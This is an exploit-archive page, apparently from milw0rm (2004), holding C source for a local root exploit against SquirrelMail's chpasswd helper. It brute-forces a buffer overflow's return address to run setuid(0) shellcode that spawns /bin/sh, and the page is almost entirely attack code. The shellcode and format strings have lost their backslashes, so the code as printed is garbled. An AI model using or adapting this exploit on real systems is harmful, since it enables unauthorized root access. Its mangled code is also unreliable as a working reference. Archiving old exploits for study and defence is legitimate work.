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SquirrelMail - 'chpasswd' Local Privilege Escalation (Brute Force)

🗓️ 25 Aug 2004 00:00:00Reported by BytesType 
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SquirrelMail chpasswd local privilege escalation via brute force exploit by Bytes, not for distribution.

Code
/* 

** PST_chpasswd_exp-v_b.c: 
** 
** Squirrelmail chpasswd local root bruteforce exploit 
** Author: 
** Bytes<Bytes[at]ph4nt0m.net> || <Bytes[at]ph4nt0m.org> 
** www ph4nt0m net 
** Notice: 
** v_b: Local bruteforce version 
** v_R: remote bruteforce version 
** 
** 
** Greatze: #ph4nt0m,#music@0x557 
** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy... 
** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)... 
** 
** 
** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!! =-=-=-=-=-=-=-=-=-=- 
** 
** Date: 2004-04 # DO NOT DISTRIBUTE # 
** 
** You Must get account belong to Webmaster ,www or other webserver groups. 
** 
*/ 

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <sys/wait.h> 

#define NOP 0x90 
#define Fuckpr0 "./chpasswd" /* you need modify it by yourself */ 
#define LOOP 2000 /* loop of bruteforce */ 

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */ 

char shellcode[] ="x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80"; 

unsigned long get_esp() { 

__asm__ ("movl %esp,%eax"); 

} 

void *M_malloc(size_t size){ 

register void *value; 

value = malloc(size); 

if(value == NULL){ 

printf("ERROR:virtual memory exhausted...n"); 

exit(-1); 

} 

return value; 

} 

int main(void){ 

unsigned long ret_addr; 

int i,j=0,offset=2,status; 

char *buf1,*buf2; 

pid_t pid; 

ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode); 

printf("t-------------------------------------------------------n"); 
printf("t Squirrelmail chpasswd local root bruteforce exploit n"); 
printf("t code By Bytes<Bytes[at]ph4nt0m.org> 2004 n"); 
printf("t http://www.ph4nt0m.net n"); 
printf("t#######################################################n"); 


sleep(1); 

printf("[+] Bruteforce......nn"); 

sleep(2); 

buf1 = (char *)M_malloc(150); 

buf2 = (char *)M_malloc(600); 

while(j <= LOOP){ 

if((pid = fork()) == 0){ 

memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8); 

memcpy(buf2 + sizeof(buf2) - strlen(shellcode) - 8,shellcode,sizeof(shellcode)); 

for(i=0; i < 150; i+=4){ 

*((unsigned long *)(buf1+i)) = ret_addr; 

} 

printf("buf1 = %sn",buf1); 

execl(Fuckpr0,"chpasswd",buf1,buf2,0); 

} 

wait(&status); 

printf("[-] Signal: #%in", status); 

if(WIFEXITED(status) != 0 ) { 

printf("[=] Step.%i: 0x%xn[~] Exiting...n",(j/2),ret_addr); 

exit(1); 

}else{ 

ret_addr += offset; 

j += offset; 

printf("[=] Offset:%d Use ret:0x%xn",j, ret_addr); 

} 

} 

free(buf1); 

free(buf2); 

return 1; 

} 

// milw0rm.com [2004-08-25]

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